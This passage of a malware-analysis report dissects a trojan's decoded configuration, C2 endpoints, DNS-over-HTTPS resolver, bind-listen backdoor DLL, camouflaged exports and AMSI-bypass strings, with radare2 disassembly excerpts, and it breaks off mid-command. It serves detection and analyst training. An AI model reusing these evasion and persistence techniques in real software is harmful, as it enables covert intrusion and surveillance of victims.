port, and both are handed to communicator::add_gate.
task start_com then runs isVm() →
setupWithGates() →
setupGateConnectionDetails() →
communicator::start(). This is the sample describing its
own C2 setup.
Three checks argue the decode is real rather than a lucky pattern
match: the derived keystreams come back as constant
bytes (a wrong key does not yield a constant); decoding the region blind
produced coherent config records and a syntactically valid
multi-line program; and the identifiers add_gate,
communicator, string_dictionary have
zero raw hits as ASCII or UTF-16, so they exist only
after decoding.
11d. Why the original negative result was wrong — the generalisable lesson. The claim was not a guess; it was argued from enumeration, and the enumeration was accurate as far as it went. The defect was that the coverage argument conflated “I enumerated the containers” with “I enumerated the contents”. A payload record was counted as covered because it was identified, though its interior was never examined; and two sweeps of different obfuscation schemes were summed as though they tiled the address space, when in fact both missed the same region. An exhaustion argument is only as strong as its weakest coverage claim, and the failure mode is silent: every individual step was correct.
The practical rule this yields — recorded here because it applies to any future sample: a negative result must state the regions it covered and the regions it did not, in offsets. Had §11 originally said “no C2 in the container directory or the LCG strings,” it would have been true, and the uncovered payload interior would have been visibly open rather than implicitly closed.
11e. What the external settings files actually are.
The strings Failed! Not found settings.xml,
Failed! Invalid settings and
Failed! Cannot open settings are real, but they belong to
an optional override layer with a compiled-in default,
not to the C2 source. Their loader is fcn.000cde9c (3,394
bytes, entry-reachable), which on failure calls a default-settings
builder. client_local_settings.bin correlates with the
config value lsdb_save_path
({localappdata}\RTProject\rtc.bin) and is local
state, not configuration. The original reading of these strings
— that the C2 lived in an unshipped file — was the second error, and it
is why the first went unchallenged.
Whether an external settings file can override
gate_list, stated in offsets. §11d’s rule requires
that an open question name its covered and uncovered regions rather than
gesture at them, so this one is resolved rather than left in prose.
Coverage: the whole of load_db_stage3.bin,
0x000000–0x181faa (1,580,970 bytes), was swept
for the token gate_list in three encodings — raw ASCII, raw
UTF-16LE, and single-byte-XOR UTF-16LE across all 255 non-zero keys.
That sweep is exhaustive over the file; there is no uncovered span.
It returns exactly two occurrences, and both are inside the settings container:
| Offset | Key | Context |
|---|---|---|
0x17e4bc |
0x01 |
inside the setupWithGates() script body —
runtime::resource_get_string_dictionary(@gate_list) |
0x181dfd |
0xaf |
the record key-name field immediately preceding the encoded gate
values at 0x181e17–0x181e5b (§11b) |
Zero occurrences appear anywhere in the settings-file loader
fcn.000cde9c (0x0cde9c–0x0cebde)
or near the settings.xml diagnostic strings at
0x0ce70c. The name gate_list is therefore
known only to the embedded settings container and to
the script that reads it; the external-settings path has no symbol by
which to address that key.
Conclusion (High confidence). The gates resolve from
the embedded blob, and an external settings.xml provides no
route to override them. This was previously rated Medium-High, on the
grounds that the sweep established absence of the name while a
loader might still reach the record positionally. That residual is now
closed from the parser side rather than the sweep side:
setupWithGates() (§11c) obtains its dictionary from
runtime::resource_get_string_dictionary(@gate_list) and
executes no file, registry, or network read in the gate path at all. A
positional reader of an external file has nothing to reach, because the
gate list is never sourced from one. The two gates are therefore the
complete set, not a lower bound. The operational
consequence in §11g is unchanged: both gates are hardcoded, and the IP
gate needs no DNS.
11f. Configuration values, now resolved. The
container stores each setting as a three-record group,
not one record: 16052 = key name, 16053 = type
tag, 16054 = value. Earlier passes searched inside the name
record for a value that was never there, which is why these read as “not
decoded” until the layout was understood. Type tags are
17000 string, 17001 int, 17002
bool, 17006 dictionary.
| Key | Type | Value |
|---|---|---|
campaign |
string | first |
lsdb_save_path |
string | {localappdata}\RTProject\rtc.bin |
lsdb_save_delay_seconds |
int | 200 |
registryAutorunValue /
shedulerAutorunValue |
string | SPSS WinWrap Basic IDE 27.4 |
is_marketing_notify |
bool | 0 |
is_tosend_firstlaunch_screenshot |
bool | 1 — enabled |
enable_acs_onstart |
bool | 1 — enabled |
is_vmcheck |
bool | 1 — enabled |
gate_connect_period_seconds |
int | 600 |
gate_connected_duration_seconds |
int | 90 |
gate_failed_reconnect_delay_seconds |
int | 60 |
gate_keep_alive_duration_seconds |
int | 90 |
vmdetect_sleep_seconds |
int | not recoverable from this container — see below; 660 is a different build’s value |
gate_list (type 17006) expands to paired
16072/16073 records —
triotmelon.com/443 and
144.124.242.171/443 — independently confirming
§11b’s finding that host and port are separate fields rather than a
combined host:port string.
Note the first boolean is is_marketing_notify, not
notify; earlier passes truncated the name.
vmdetect_sleep_seconds is not recovered, and the
reason is a decode defect at the container’s final field. The
record decodes to 6293595036912670147 =
0x57575757575755c3 — six repeating 0x57 bytes
above a plausible low word.
The container itself is not truncated: its header
declares entries = 1557 and the dump holds exactly 1557,
and the container extent (0x15cc3a + 0x25294 =
0x181ece) ends 220 bytes before the file does. So
this is the last field of a complete structure decoding wrongly, not a
short read — the keystream is not being terminated at the final field
boundary.
Those 220 trailing bytes are themselves accounted
for, and they narrow the defect further. They hold four more
per-field XOR records under the ordinary scheme — 0x181ed6
(registryAutorunValue), 0x181f06
(SPSS WinWrap Basic IDE 27.4), 0x181f44
(shedulerAutorunValue), 0x181f74
(SPSS WinWrap Basic IDE 27.4) — all four already decoded in
the table above, and the file ends at 0x181faa with no
residue. Since everything from 0x181ed6 onward decodes
cleanly, the keystream is not failing at the container
edge in general: the fault is confined to entry 1557’s value field
specifically. These records also resolve the two resource names the §5
persistence script dereferences (@registryAutorunValue,
@shedulerAutorunValue) but never defines, which is the
independent confirmation that the autorun entry is named after the
signed WinWrap IDE the bundle side-loads (§6a).
The value is distinguishable from the format’s legitimate large
integers by structure rather than by magnitude, which is what makes it
identifiable. 282 records carry 64-bit values (the 16051
container-ID fields are normally high-entropy), and sampling them shows
no repeating-byte runs: 0x6502dbc5b949619c,
0x682ea666372c3346, 0x388d1fdeca4ae2f5.
Against those 281 controls, 0x5757575757 is the sole
outlier. An earlier draft of this note claimed it was the only
implausible value by magnitude; that was wrong — large values
are ordinary here, and magnitude alone would not have flagged it.
Two further structural facts make this a bounded negative rather than an open gap — the field is not merely unrecovered here, it is unrecoverable from this artefact, and both were confirmed independently by a second analyst working from their own dump.
First, the failure is localised to the final eight bytes, not to
the record. This setting occupies three records, and the other two
decode cleanly: the name record (16052,
'vmdetect_sleep_seconds') and the type tag
(16053 = 17001, int). Only the value record
(16054) is corrupt. A mis-derived per-record key would have
broken all three, so the key schedule is correct up to the last field
and fails only at the container’s end.
Second, every well-formed integer setting in the container is a
small round number. There are exactly six len=8 value
records in the whole structure. Five decode to 200,
600, 90, 60, 90. The
sixth is this one — and it is also the last record in the
container, entry 1557 of 1557. The one value that is neither
small nor round is the one sitting at the boundary where the keystream
runs out. Note the contrast is with the adjacent type tag
17001, stored as 69 42 00 00 00 00 00 00: a
small integer in this format has zero high bytes by construction, so six
repeating 0x57 where zeros are structurally required is
positive evidence of keystream rather than a mere implausibility
judgement.
This also disposes of every truncation of the value. Taking
the low 1, 2, 3 or 4 bytes yields 195, 21955,
5723587, 1465341379. Since the true field
boundary is unknown, each is a guess with a derivation’s appearance —
and 195 in particular is a superficially plausible sleep
interval, which is exactly what makes it dangerous.
Recorded as unrecovered rather than reported. A keystream artefact presented as a sleep interval would be a fabricated value with a plausible shape — and the uploader blob independently gives 660 for a different build, so nothing operational rests on it. Two independent container dumps by two analysts have now failed on this field for the same structural reason; that reason is a finding, not a gap.
The persistence names here independently reproduce
the values recovered from the load.db string resources in
§4 by a completely different decode path — two readings of the same
configuration from opposite ends of the chain, in agreement. That mutual
corroboration is the strongest validation available for either.
Numeric and boolean values sit in 17/24-byte binary records under a different encoding and were not decoded (timing and behaviour tuning only; they do not affect the endpoints). This negative is bounded, not bare — the record layout and the exclusions below say which directions are dead, so the next reader does not repeat them.
Record layout (offset from the end of each key
name): a 2-byte header, then a 6-byte run of a single repeated filler
byte differing per record (0x7a, 0xdc,
0xb6, 0x62, 0xc9,
0x32, 0xa4, 0x54,
0x78), then for numeric fields a second filler run and an
8-byte high-entropy tail. Boolean records are 17 bytes, numeric records
24.
Two recovery routes are ruled out by structural constraint:
Not UTF-16LE under any key. The key-name scheme
(§11b) works because UTF-16LE ASCII has constant 0x00 high
bytes, so the ciphertext’s repeating high byte is the key. In
these value tails the odd-position bytes take four distinct
values in all five numeric records — the constraint that makes
the name scheme self-verifying is absent. The values are therefore not
stored under the same encoding as the names.
Not flat-XORed decimal text. Sweeping all 256 keys over each tail yields zero fully-numeric strings, and the exclusion has margin: requiring only the first two bytes to be digits already gives zero keys in all five records (as do 3- and 4-byte prefixes).
A single-position digit test is worthless here and it is worth saying
why. Exactly 10 of 256 keys map any given byte into
0–9 — for any byte, always, since XOR
is a bijection on the key for fixed plaintext (verified across random
bytes). A leading-digit test therefore cannot return anything other than
10; it has no discriminating power by construction. That it returned 10
here is arithmetic, not evidence. The real result is the
two-byte-and-longer figure of zero.
A false positive worth recording, because it nearly
shipped. A key-search selector of the form “try all 256 keys,
keep the longest printable run” returns 90 / 90 / 90 / 60
seconds across the four gate-timing fields — semantically perfect for
connect period, connected duration, keep-alive and reconnect backoff. It
is an artefact. Against a single output byte, 256 keys give 256 chances
to produce a printable character, so such a search almost always
succeeds; the plausibility came from the field names,
not from the bytes. Re-deriving at a fixed structural position instead
of by key search gives 236 / 229 / 213 / 175 — no
structure, and boolean fields holding 236 and 213 is nonsense. An
earlier attempt here produced a uniform 'B' for every field
by the same route: one key latched onto and carried across records.
Generalisation. When a decode’s credibility rests on
its output matching field semantics rather than on a structural
constraint in the bytes, the field names are doing the work and the
bytes are not. This is the same failure class as Corrections item 16
(0xa787 decoding to case-inverted but readable text): a
decode that fails into well-formed output defeats eyeball review, and
semantic tidiness is precisely what a reviewer checks. Pair it with item
19 — a converged negative deserves more scepticism, and so does a
suspiciously tidy positive.
What would actually recover these values: the settings parser — the code consuming these records — not further work on the container bytes. The repeated filler byte was tested directly as a candidate key and is not one.
The full key space, verified in offsets. Every key name in the container was recovered by the same self-verifying method as §11b (the key is the high byte of the string’s own first UTF-16LE unit), giving the complete enumeration below. Unlike the values, the names decode cleanly and unambiguously:
| Offset | Key | Field |
|---|---|---|
0x181c00 |
0xa6 |
notify |
0x181c1d |
0x3b |
is_tosend_firstlaunch_screenshot |
0x181c6e |
0x84 |
enable_acs_onstart |
0x181ca3 |
0xc4 |
gate_connect_period_seconds |
0x181cf1 |
0x2e |
gate_connected_duration_seconds |
0x181d47 |
0x61 |
gate_failed_reconnect_delay_seconds |
0x181da5 |
0x4c |
gate_keep_alive_duration_seconds |
0x181dfd |
0xaf |
gate_list |
0x181e17 |
0x91 |
triotmelon.com (host, gate 1) |
0x181e33 |
0xe7 |
443 (port, gate 1) |
0x181e3d |
0xf0 |
144.124.242.171 (host, gate 2) |
0x181e5b |
0xfb |
443 (port, gate 2) |
0x181e6d |
0x9a |
is_vmcheck |
0x181e92 |
0x83 |
vmdetect_sleep_seconds |
0x181ed6 |
0x69 |
registryAutorunValue |
0x181f06 |
0x7f |
SPSS WinWrap Basic IDE 27.4 |
0x181f44 |
0xbe |
shedulerAutorunValue |
0x181f74 |
0x47 |
SPSS WinWrap Basic IDE 27.4 |
Note that the ports are independent keyed fields,
not substrings of the host entries — each carries its own XOR key. An
earlier reading that treated host:port as one field would
mis-derive any signature built on it.
Three of these field names —
is_tosend_firstlaunch_screenshot,
enable_acs_onstart and
gate_keep_alive_duration_seconds — are unusual enough to
serve as content signatures in their own right (see Detection
Opportunities). is_tosend_firstlaunch_screenshot is also a
behavioural disclosure: the sample is configured to exfiltrate a
screenshot on first launch.
11g. Detection consequence. The IP gate is DNS-independent: blocking or monitoring DoH does not sever C2. Both endpoints must be blocked directly. There is Medium-confidence evidence the port-443 traffic is not TLS (raw socket plus a custom handshake, with no TLS setup visible) — if confirmed, non-TLS traffic on 443 to these endpoints is itself a high-quality detection opportunity.
Whatever domain the configuration supplies is resolved over DoH, not
through the system resolver.
FUN_00067df0(obj, char provider) selects among three public
resolvers by index:
| Index | Provider |
|---|---|
| 0 | cloudflare-dns.com |
| 1 | dns.google (the default — FUN_00067a08
calls with 1) |
| 2 | dns.quad9.net |
The provider selection is a three-way comparison on the function’s
second argument, which arrives in dl and is spilled to
[rsp + 0x20]:
$ r2 -m 0 -e asm.arch=x86 -e asm.bits=64 -c 's 0x680f8; pd 26' load_db_stage3.bin
0x0006810a 7410 je 0x6811c ; provider == 0
0x0006810c 807c242001 cmp byte [rsp + 0x20], 1
0x00068111 7418 je 0x6812b ; provider == 1
0x00068113 807c242002 cmp byte [rsp + 0x20], 2
0x00068118 7420 je 0x6813a ; provider == 2
0x0006811a eb2d jmp 0x68149 ; default path
0x0006811c 488d842448.. lea rax, [rsp + 0x148] ; -> cloudflare-dns.com
0x00068124 4889442428 mov qword [rsp + 0x28], rax
0x00068129 eb53 jmp 0x6817e
0x0006812b 488d8424f8.. lea rax, [rsp + 0xf8] ; -> dns.google
0x00068133 4889442428 mov qword [rsp + 0x28], rax
0x00068138 eb44 jmp 0x6817e
0x0006813a 488d842428.. lea rax, [rsp + 0x128] ; -> dns.quad9.net
0x00068142 4889442428 mov qword [rsp + 0x28], rax
Each lea points at a stack buffer built earlier in the
same function by three consecutive LCG stack-string sites at
0x067e39, 0x067f3e and 0x067ff3 —
the three provider hostnames, in that order. The first of them decodes
as follows, using the §8 scheme:
0x00067e39 48b8e8d0f4.. movabs rax, 0x5621401945f4d0e8
0x00067e48 b882a10000 mov eax, 0xa182 ^ ks0 = 'c'
0x00067e52 b833fe0000 mov eax, 0xfe33 ^ ks1 = 'l'
0x00067e5c b8aae40000 mov eax, 0xe4aa ^ ks2 = 'o'
0x00067e66 b8863b0000 mov eax, 0x3b86 ... -> "cloudflare-dns.com"
The default is index 1, dns.google,
established at the call site rather than inferred —
FUN_00067a08 loads dl immediately before the
call:
0x00067dd1 c6404001 mov byte [rax + 0x40], 1
0x00067dd5 b201 mov dl, 1 ; provider = 1 (dns.google)
0x00067ddf e80c000000 call 0x67df0
Note the entry prologue mov byte [rsp + 0x10], dl at
0x00067df0 confirms the second argument is the single-byte
provider selector, matching the
FUN_00067df0(obj, char provider) prototype given above.
Requests are POST to /dns-query with
Content-Type: application/dns-message and
Accept: application/dns-message, over
winhttp.dll. The session is opened by
WinHttpOpen with a Chrome-like User-Agent
(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...)
followed by WinHttpSetOption(0x85, ...) to set secure
protocols.
The surrounding code is a complete general-purpose DNS client —
Punycode conversion (Failed to convert domain to Punycode)
and the full RCODE table (Format error,
Server failure, NXDOMAIN,
Not implemented, Refused,
Truncated, Transaction ID mismatch,
No IP addresses found).
No DGA (High confidence). The gate iteration at
FUN_000d50e0 walks a static table
(FUN_00067078 is a fixed-stride index,
idx*0x40 + base); the host comes from the settings
container (§11), not from generation. There is no charset, seed table,
or TLD list. The resolver is a general-purpose library that resolves
whatever domain it is handed — and here it is handed
triotmelon.com.
The chain is now closed end to end: gate_list (§11) →
communicator::add_gate → gate table at
ctx+0x68 → FUN_000d50e0 iterate →
FUN_000d553c (writes host to ctx+0xb8, port to
ctx+0xe8) → FUN_000d5378 DoH resolve →
connect. The status formatter FUN_000dbaac (§11e,
previously misread) renders those same fields as
Current Gate Host: / Current Gate Port: —
confirming they are the live gate values, though the labels themselves
remain UI text.
One join is weaker than the rest: the native function the script
interpreter dispatches communicator::add_gate to was
not resolved. The link from script to gate table rests
on semantic correspondence — same operation, same host/port pairing,
same config source — so “the RAT connects to these endpoints” is High
confidence, while “via this exact native dispatch path” is Medium.
Operationally, the significance is independent of where the domain comes from: C2 lookups never reach the local DNS server, so they do not appear in DNS query logs and are not stopped by DNS-based blocklists or sinkholes.
usbraw.dll — a bind-listen backdoor (High, High
confidence)Export EstablishTcpListenerSession @
0x3ab2662d8 follows the sequence WSAStartup →
socket → htons → inet_pton →
bind → listen → closesocket:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 \
-c 'aaa; s 0x3ab2662d8; pdf' usbraw.dll
0x3ab266309 4885c9 test rcx, rcx ; arg1
0x3ab26630c 0f84ed130000 je 0x3ab2676ff ; -- all four null-checks
0x3ab266312 4885d2 test rdx, rdx ; arg2 = address string
0x3ab266315 0f84e4130000 je 0x3ab2676ff ; share one exit
0x3ab26631b 664585c0 test r8w, r8w ; arg3 = port (16-bit)
0x3ab26631f 0f84da130000 je 0x3ab2676ff
0x3ab266325 4885ed test rbp, rbp ; arg4
0x3ab266328 0f84d1130000 je 0x3ab2676ff
...
0x3ab2666b8 b902020000 mov ecx, 0x202 ; WSAStartup(2.2)
0x3ab266705 ff159dd00000 call qword [sym.imp.WS2_32.dll_WSAStartup]
0x3ab26677c ba01000000 mov edx, 1 ; SOCK_STREAM
0x3ab266781 b902000000 mov ecx, 2 ; AF_INET
0x3ab266786 ff154cd00000 call qword [sym.imp.WS2_32.dll_socket]
0x3ab2667ac 0fb7cf movzx ecx, di ; the caller's port
0x3ab2667c3 ff15f7cf0000 call qword [sym.imp.WS2_32.dll_htons]
The import table settles the network posture without reading any code. The module’s complete WS2_32 import set is:
$ rabin2 -i usbraw.dll | grep WS2_32
1 0x3ab273798 NONE FUNC WS2_32.dll WSACleanup
2 0x3ab2737a0 NONE FUNC WS2_32.dll WSACloseEvent
3 0x3ab2737a8 NONE FUNC WS2_32.dll WSAStartup
4 0x3ab2737b0 NONE FUNC WS2_32.dll bind
5 0x3ab2737b8 NONE FUNC WS2_32.dll closesocket
6 0x3ab2737c0 NONE FUNC WS2_32.dll htons
7 0x3ab2737c8 NONE FUNC WS2_32.dll inet_pton
8 0x3ab2737d0 NONE FUNC WS2_32.dll listen
9 0x3ab2737d8 NONE FUNC WS2_32.dll socket
Nine entries, containing bind and
listen but no connect — and no
accept, send or recv either. This
is therefore a listener the operator dials into, not a
reverse-connect channel: a materially different network posture from the
DoH path in §12, and one that requires inbound reachability. Because the
set is exhaustive rather than sampled, the absence of
connect is a bounded negative over this module’s entire
Winsock surface — though note it bounds statically imported
names only, and would not cover a socket API resolved dynamically at
runtime.
Both endpoint components are parameters, not constants:
arg2 (rdx) is the address string passed to
inet_pton, and arg3 (r8w) is tested as a
16-bit value and passed to htons — the port. The function
null-checks all four arguments and returns early if any is zero.
The module also imports WINMM.dll!mciSendCommandW and
exports AllocateWaveInCircularBuffer, indicating
microphone capture alongside the network listener.
PkSql1.dll and HTS25.dll are
C++/CLI mixed-mode assemblies — their
mscoree import is genuine, not a radare2 misparse, and both
carry a full <CrtImplementationDetails> managed
initialisation surface. Note the analysis consequence: because the PE
header declares a CLR runtime, rabin2 -I reports
arch cil, and radare2 will disassemble their x86-64 code as
CIL and emit nonsense unless the architecture is forced. Every listing
in this report was produced with
-e asm.arch=x86 -e asm.bits=64, and any attempt to
reproduce them without those flags will not match.
$ rabin2 -I PkSql1.dll | egrep 'arch|bits|lang|signed'
arch cil
bits 64
lang msvc
signed false
$ rabin2 -I HTS25.dll | egrep 'arch|bits|lang|signed'
arch cil
bits 64
lang msvc
signed false
$ rabin2 -I usbraw.dll | egrep 'arch|bits|lang|signed'
arch x86
bits 64
lang c++
signed false
All three attacker modules are unsigned, against a bundle whose legitimate components are signed — the single cheapest triage discriminator in the file set.
The export names are themed as graphics, print and multimedia routines so that an analyst skimming the export table sees a plausible support library. The important and non-obvious result is that these are not empty stubs. Each one is a real, substantial implementation of the operation its name advertises, reaching exactly the Win32 APIs that operation would require:
$ # imports reached by each HTS25.dll camouflage export (indirect calls resolved)
0x180002250 BindUdpMulticastGroup GDI32!CreatePen, CreateSolidBrush, DeleteObject, Ellipse,
LineTo, MoveToEx, SelectObject; KERNEL32!GetTickCount;
USER32!FillRect
0x1800043d8 CreateOleStorageSnapshot GDI32!CreatePen, CreateSolidBrush, DeleteObject, Rectangle,
SelectObject; ole32!CoCreateGuid; USER32!FillRect, GetDC,
GetDesktopWindow, ReleaseDC
0x180004e9c DrawBezierRibbonPath GDI32!CreatePen, CreateSolidBrush, DeleteObject,
IntersectClipRect, Polyline, SelectObject; USER32!FillRect
0x180002e94 SerializeClipboardImageChain GDI32!CreateBitmap, CreatePen, CreateSolidBrush, DeleteObject,
Rectangle, SelectObject; KERNEL32!GlobalAlloc, GlobalLock,
GlobalUnlock
0x180003b48 SpoolVectorPrintJob GDI32!CreatePen, DeleteObject, EndDoc, EndPage, Polyline,
SelectObject, StartDocW, StartPage
SpoolVectorPrintJob really does drive a print job
through the
StartDocW/StartPage/EndPage/EndDoc
sequence; SerializeClipboardImageChain really does build a
bitmap and move it through
GlobalAlloc/GlobalLock.
RenderGradientMeshOverlay @ 0x1800016cc is a
2,847-byte function that computes mesh geometry via
sinf/cosf from
api-ms-win-crt-math-l1-1-0:
0x1800016cc 488bc4 mov rax, rsp
0x1800016cf 48895820 mov qword [rax + 0x20], rbx
...
0x1800016e5 4881ec5003.. sub rsp, 0x350
0x1800016ec 0f2970b8 movaps xmmword [rax - 0x48], xmm6
... (xmm6-xmm15 all preserved)
0x18000172e 488b05cb68.. mov rax, qword [section..data]
0x180001735 4833c4 xor rax, rsp ; /GS stack cookie
A 0x350-byte frame, ten preserved XMM registers and a stack cookie is the signature of genuine floating-point graphics code, not of a placeholder.
The same holds in PkSql1.dll:
0x180002404 BuildSplineControlMesh GDI32!CreatePen, CreateSolidBrush, DeleteObject, Ellipse,
IntersectClipRect, Polyline, SelectObject
0x180001984 ComposeMultiLayerCanvas GDI32!BitBlt, CreateCompatibleBitmap, CreateCompatibleDC,
CreatePen, CreateSolidBrush, DeleteDC, DeleteObject, Polygon,
Polyline, Rectangle, SelectObject; USER32!FillRect
0x180004470 EnumerateComMonikerBindings ole32!CoCreateGuid, MkParseDisplayName; GDI32!* ; USER32!GetDC,
GetDesktopWindow, ReleaseDC; wcscpy_s
0x180005200 RasterizeGlyphOutlineBatch GDI32!CreateFontIndirectW, GetGlyphOutlineW, GetTextMetricsW,
CreatePen, CreateSolidBrush, DeleteObject, Polyline,
SelectObject; USER32!FillRect
0x180003a50 SetupWaveOutRingBuffer WINMM!waveOutGetNumDevs, waveOutOpen, waveOutPrepareHeader,
waveOutWrite; GDI32!*; USER32!GetClientRect, GetDC, ReleaseDC
EnumerateComMonikerBindings genuinely calls
MkParseDisplayName; RasterizeGlyphOutlineBatch
genuinely calls GetGlyphOutlineW. This is filler built to
survive inspection, and it raises the cost of triage-by-export-name
considerably: an analyst who spot-checks one export body and finds real
graphics code may conclude the module is benign.
Import reach separates the two classes cleanly. The camouflage exports reach only GDI32/USER32/ole32/WINMM drawing and device APIs. The malicious exports reach loader, memory and cryptographic APIs that no drawing routine needs:
$ # PkSql1!OptimizeTextCard @ 0x1800014f4 — the real entry point
KERNEL32!LoadLibraryW, GetModuleFileNameW, CreateEventW, WaitForSingleObject, ExitThread
HTS25!Accuracy, HTS25!LoadDatabase
COMCTL32!InitCommonControlsEx ; gdiplus!GdiplusStartup ; SDL3!SDL_* (window/render)
$ # HTS25!Accuracy @ 0x180001418
KERNEL32!VirtualAlloc <- RWX allocation
bcrypt!BCryptGenRandom <- entropy flood
SDL3!SDL_* (window/render)
$ # HTS25!LoadDatabase @ 0x180001668
KERNEL32!EnumSystemCodePagesW <- the control transfer
SDL3!SDL_CreateEnvironment, SDL_GetEnvironmentVariable(s), SDL_DestroyEnvironment, SDL_free
$ # HTS25!ToUnbind @ 0x180001390
USER32!GetDesktopWindow, GetTopWindow, GetWindow, GetWindowThreadProcessId,
IsWindowVisible, ShowWindow <- window enumeration / hiding
VirtualAlloc beside BCryptGenRandom, and
EnumSystemCodePagesW in a routine named
LoadDatabase, are the two rows that give the modules away.
Note also that the malicious exports are the
lowest-addressed ones in both modules
(0x180001390–0x180001668 in
HTS25, 0x1800014f4 in PkSql1),
with all camouflage bodies laid out above them — consistent with the
attacker’s code being compiled first and the filler appended.
ToUnbind’s import set is worth flagging on its own:
GetDesktopWindow → GetTopWindow →
GetWindow → IsWindowVisible →
ShowWindow is a window enumeration-and-hide loop, which is
consistent with the export’s role in suppressing the visible SDL window
the loader creates.
| DLL | Real exports | Camouflage exports |
|---|---|---|
PkSql1.dll |
OptimizeTextCard |
BuildSplineControlMesh,
ComposeMultiLayerCanvas,
EnumerateComMonikerBindings,
FlushParticleEmitterField,
RasterizeGlyphOutlineBatch,
SetupWaveOutRingBuffer |
HTS25.dll |
LoadDatabase, Accuracy,
ToUnbind |
BindUdpMulticastGroup,
CreateOleStorageSnapshot,
DrawBezierRibbonPath,
RenderGradientMeshOverlay,
SerializeClipboardImageChain,
SpoolVectorPrintJob |
usbraw.dll |
EstablishTcpListenerSession,
AllocateWaveInCircularBuffer |
AssembleSpriteAtlasGrid, CodeCategory,
DispatchMciNotifyChain,
RenderIsoGridProjection |
$ rabin2 -E HTS25.dll
1 0x00000818 0x180001418 GLOBAL FUNC 0 HTS25.dll Accuracy
2 0x00001650 0x180002250 GLOBAL FUNC 0 HTS25.dll BindUdpMulticastGroup
3 0x000037d8 0x1800043d8 GLOBAL FUNC 0 HTS25.dll CreateOleStorageSnapshot
4 0x0000429c 0x180004e9c GLOBAL FUNC 0 HTS25.dll DrawBezierRibbonPath
5 0x00000a68 0x180001668 GLOBAL FUNC 0 HTS25.dll LoadDatabase
6 0x00000acc 0x1800016cc GLOBAL FUNC 0 HTS25.dll RenderGradientMeshOverlay
7 0x00002294 0x180002e94 GLOBAL FUNC 0 HTS25.dll SerializeClipboardImageChain
8 0x00002f48 0x180003b48 GLOBAL FUNC 0 HTS25.dll SpoolVectorPrintJob
9 0x00000790 0x180001390 GLOBAL FUNC 0 HTS25.dll ToUnbind
PkSql1!FlushParticleEmitterField @
0x180002e20 — resolved. This export was previously
the one gap in the table above: pdf returns empty for it
despite afi reporting a 14,541-byte function, and a linear
pD overran into the adjacent
SetupWaveOutRingBuffer body, so its imports could not be
attributed. The cause is now established and is not a radare2 failure —
the function is non-contiguous:
addr: 0x180002e20
size: 14541 <- address span, 0x180002e20 - 0x1800066ed
realsz: 3019 <- actual instruction bytes
is-lineal: false <- blocks are NOT laid out contiguously
num-bbs: 115
cyclomatic-complexity: 60
size is the span between the lowest and highest block,
not the code length. The 115 basic blocks hold 3,019 bytes scattered
through a 14.5 KB range, with other functions interleaved in the gaps —
which is exactly why a linear read overruns and why size
alone is a misleading measure of how much code is here.
Disassembling the 115 blocks individually (rather than the address range) yields 810 instructions and 51 call sites. The direct import set:
GDI32.dll_CreatePen GDI32.dll_Ellipse GDI32.dll_Polyline
GDI32.dll_CreateSolidBrush GDI32.dll_SelectObject GDI32.dll_DeleteObject
USER32.dll_FillRect MSVCP140.dll___Xlength_error_std__YAXPEBD_Z
api_ms_win_crt_math_l1_1_0.dll_sqrtf
This is 2-D vector rendering — pens, brushes, polylines, ellipses,
filled rects, with sqrtf for geometry — consistent with
every other camouflage export and with the name.
The negative was checked transitively, not just
directly. Twenty of the 51 call sites target internal
fcn.* addresses, any of which could have reached the
malicious API set indirectly. Walking the callee graph to depth 4 covers
33 functions and returns 18 distinct
imports, with zero hits against
LoadLibrary, VirtualAlloc,
BCryptGenRandom, EnumSystemCodePages,
GetProcAddress, VirtualProtect,
CreateThread, CreateProcess,
WriteProcessMemory or WinExec. The only
KERNEL32 imports that appear transitively —
RtlCaptureContext, RtlLookupFunctionEntry,
RtlVirtualUnwind, SetUnhandledExceptionFilter,
UnhandledExceptionFilter,
IsProcessorFeaturePresent, GetCurrentProcess,
TerminateProcess — are the standard MSVC /GS
stack-cookie failure path, present in any hardened C++ binary, not a
capability of this function.
The export is therefore camouflage on the same import-reach
discriminator as the other five, at High confidence, rather
than on naming and layout position. Its bounded negative is stated with
its extent: depth 4 from this seed, direct call fcn.* edges
only — indirect/virtual dispatch has no fixed target and is not
covered.
The naming is consistent with the filenames themselves —
PkSql1, usbraw, HTS25,
Graphic.Model.dat — all chosen to blend into a CAD/CNC
machine management application’s file set.
Stage 2 carries LCG-obfuscated references to the Antimalware Scan
Interface. Note the per-stage split — only
BypassExceptionHandler and ntdll.dll persist
into stage 3; the AMSI target library itself appears in stage 2
only:
| String | Stage 2 | Stage 3 |
|---|---|---|
amsi.dll |
0x018505 |
— |
BypassExceptionHandler |
0x0221f2 |
0x01abe5 |
ntdll.dll |
0x01af7b |
0x008e08 |
fakeLib not equal 8 symbols |
0x01802d |
— |
These are genuine decoded values, not strings-dump
artefacts. amsi.dll, AmsiScanBuffer
and BypassExceptionHandler each occur zero
times as ASCII plaintext in either payload_stage2.bin or
load_db_stage3.bin; they exist only as output of the LCG
stack-string decoder (§7). A defender running an ordinary strings pass
over these artefacts will not see them.
The amsi.dll construction site in stage 2 makes both
halves of that claim checkable — the string exists, and it exists only
as computed words:
$ r2 -m 0 -e asm.arch=x86 -e asm.bits=64 -c 's 0x18505; pd 11' payload_stage2.bin
0x00018505 48b8651529.. movabs rax, 0x7ba56675fa291565
0x0001850f 4889842410.. mov qword [rsp + 0x210], rax
0x00018517 b8ba2a0000 mov eax, 0x2aba ^ ks0 = 'a'
0x0001851c 6689842418.. mov word [rsp + 0x218], ax
0x00018524 b87c8f0000 mov eax, 0x8f7c ^ ks1 = 'm'
0x00018529 668984241a.. mov word [rsp + 0x21a], ax
0x00018531 b8bc290000 mov eax, 0x29bc ^ ks2 = 's'
0x00018536 668984241c.. mov word [rsp + 0x21c], ax
0x0001853e b81cb90000 mov eax, 0xb91c ^ ks3 = 'i'
0x00018543 668984241e.. mov word [rsp + 0x21e], ax
0x0001854b b8cd280000 mov eax, 0x28cd ^ ks4 = '.' -> "amsi.dll"
Stage 2 uses a different LCG seed from stage 3. The
seed here is 0x7ba56675fa291565; every stage-3 site in this
report uses 0x5621401945f4d0e8 (§8). The keystream
derivation and the LCG constants are identical — only the seed differs —
so the two stages are the same string-protection implementation re-keyed
per stage, not two schemes. Practical consequence for a defender: a
decoder or YARA rule anchored on the stage-3 seed will silently recover
nothing from stage 2, and the seed is the value to parameterise.
Confirming the plaintext absence directly, across both stages:
$ for s in amsi.dll AmsiScanBuffer BypassExceptionHandler; do
